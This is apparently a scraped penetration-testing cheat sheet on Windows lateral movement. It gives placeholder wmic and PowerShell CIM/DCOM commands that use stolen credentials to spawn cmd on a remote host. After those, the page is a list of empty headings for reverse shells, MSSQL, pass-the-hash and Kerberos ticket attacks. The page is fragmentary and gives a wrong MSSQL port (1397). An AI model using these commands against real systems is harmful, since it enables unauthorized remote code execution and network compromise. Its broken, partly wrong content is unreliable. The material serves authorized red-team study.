Lateral Move
Windows Management Instrumentation (WMI)
Spawning a process
wmic /node:<RHOST> /user:<USERNAME> /password:<PASSWORD> process call create "cmd"Store Credentials
$username = '<USERNAME>';
$password = '<PASSWORD>';
$secureString = ConvertTo-SecureString $password -AsPlaintext -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $secureString;Instanciate Distributed Component Object MOdel (DCOM)
$options = New-CimSessionOption -Protocol DCOM
$session = New-Cimsession -ComputerName <RHOST> -Credential $credential -SessionOption $Options
$command = 'cmd';
Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine =$Command};Establish a Reverse shell
Windows Remote Shell (WinRS)
Execution
MSSQL (Port 1397)
Find mssql access
Users with SQLAdmin (BloodHound)
Trust Link
Log in
Local User
ClearText Password
Interactive Shell
Pseudo-shell (file write and read)
Protocols
NTLM Hash
Pass the Hash (PTH)
Interactive Shell
Pseudo-shell (file write and read)
Protocols
Kerberos
Overpass the Hash
Pass the Ticket (ccache / kirbi)
Distributed Component Object Model (DCOM)
Creating and storing the Distributed Component Object Model
Last updated